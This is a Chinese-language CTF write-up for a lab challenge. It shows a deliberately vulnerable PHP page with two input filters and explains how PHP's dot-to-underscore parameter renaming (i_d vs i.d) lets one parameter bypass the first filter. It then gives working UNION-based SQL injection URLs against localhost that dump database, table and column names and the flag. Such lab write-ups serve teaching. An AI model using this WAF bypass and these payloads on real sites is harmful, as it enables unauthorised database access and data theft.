源码分析:
php
<?php
// 设置 HTTP 头部,指定内容类型为 text/html,字符集为 utf-8
header("Content-type: text/html; charset=utf-8");
// 引入数据库配置文件
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符
function dhtmlspecialchars($string) {
if (is_array($string)) {
// 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
} else {
// 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
// 检查字符串中是否包含 HTML 实体编码,如果包含,将其还原为对应字符
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
// hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
// 经过第一个waf处理
//i_d=1&i.d=aaaaa&submit=1
// 定义函数 dowith_sql,用于检查 SQL 注入攻击
function dowith_sql($str) {
// 使用正则表达式检查字符串是否包含 SQL 注入关键词
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
// 如果检查到 SQL 注入关键词,输出警告信息并终止程序执行
echo "非法字符!";
exit();
}
return $str;
}
// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 解析请求 URI,获取查询参数,并对参数进行 HTML 特殊字符过滤和 SQL 注入检查
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// 如果提交按钮被点击,则执行以下代码
// $_REQUEST不能有恶意字符
// $_SERVER
// 业务处理
//?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
// 获取用户输入的用户 ID
$user_id = $_REQUEST['i_d'];
// 构造 SQL 查询语句,查询用户表中 ID 匹配用户输入的用户 ID 的记录
$sql = "select * from ctf.users where id=$user_id";
// 执行 SQL 查询
$result = mysql_query($sql);
// 遍历查询结果,输出用户信息
while($row = mysql_fetch_array($result)) {
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
第一道WAF(对字符进行了过滤):

通过第二道WAF(对字符进行转换,以及addslashes函数):


这里php版本记得改,我因为这里忘记改了折腾好久

数据库操作:

如果想找到可以使用的SQL注入漏洞,首要任务就是绕过两道WAF。

第二道WAF中explode函数例子(说白了就是分割):


我们在这段代码之间加一个打印函数,每次改源代码都记得要保存再刷新页面

结果如下

看到这个value1就是我们传入的值,然后将我们的值传入到dhtmlspecialchars
函数中进行检测替换。最后我们可以看到将$_SERVER['REQUEST_URI']
中的字符覆盖到$_REQUEST[$_value[0]]
中。
按道理来说并没有什么大错误,但试想:这个过程是在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST中,就可以造成WAF的绕过了。
那么有什么办法让第一道WAF认为请求中没有恶意字符?这其实是个很难的问题,因为WAF会检测所有请求数组,只要有一个数组内的值存在问题,就直接退出。
我一直在思考,假设我有一个办法,在第一次WAF检测参数的时候,检测的是2,但后面覆盖request的时候,拿到的是1,那么不就可以造成WAF的绕过了么?(简单理解就是通过第一个WAF时让第二个能正常通过的参数代替第一个参数检测,然后第二道WAF没有了过滤功能就可以用第一个参数带入数据库了)
在想这个问题之前我先引用一个知识点
php另一个特性,自身在解析请求的时候,如果参数名字中包含" "、"."、"["这几个字符,会将他们转换成下划线,这里我们做个测试。



验证成功
那么假设我发送的是这样一个请求: /index.php?user_id=11111&user.id=22222 ,php先将user.id转换成user_id,即为/index.php?user_id=11111&user_id=22222 ,再获取到的$_REQUEST['user_id']就是22222。
可在_SERVER\['REQUEST_URI'\]中,user_id和user.id却是两个完全不同的参数名,那么切割覆盖后,获取的_REQUEST['user_id']却是11111。(简单来说就是第二个参数在请求之后转换成了user_id,而php在两个参数名相同的时候会取第二个正常参数通过第一个WAF,可在$SERVER['REQUEST_URI']中并不会将.转换为,所以取的是第一个参数)
- 1、第一道WAF拿到传入的111,当然,我们将另一个参数设置为bad',加了单引号,如果不成功肯定是报错的。
- 2、我们要让第二道WAF拿到bad',因为单引号过滤在第一道WAF处,所以不会报错。
上面便是我们想要的结果,下面我们更改源码来进行测试查看两个WAF分别传入的值:
我们尝试在**$_SERVER['REQUEST_URI']赋值后
** 打印**$_REQUEST[$_value[0]]
**
我们在第一道WAF打印看看反馈


可以发现并没有报错并且取到的是第二个参数的值
在第二道WAF打印看看反馈


我们可以看到我们的假设是成立的,所以我们可以利用我们发现的开始注入。
这里由于我们不能使用括号(第二道WAF会进行替换),所以优先使用联合查询进行注入:(这里我们使用注释代替空格)
测试回显字段
php
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1

之后我们在第二个字段进行注入得到数据库名字
php
http://127.0.0.1/daiqile/index.php/i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1
这些库名全部混在一起了,我们可以利用python爬虫一个个爬出来,我这里就不写了
一般在比赛中是一个数据库即为ctf,我们就用ctf进行查询
爆出表名
这里由于源码中WAF使用了等号截断,所以我们这里使用like代替了等号,同时传入数据库中的内容使用十六进制进行了替换:


php
http://127.0.0.1/daiqile/index.php/i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

爆出表下的列名,我们可以直接进行查询,但是无法使用group_concat连接函数进行分割(因为这个函数会使用到括号会被替换)
php
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1
我们可以看出有一个flag字段
最后一步,得到flag!
php
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1
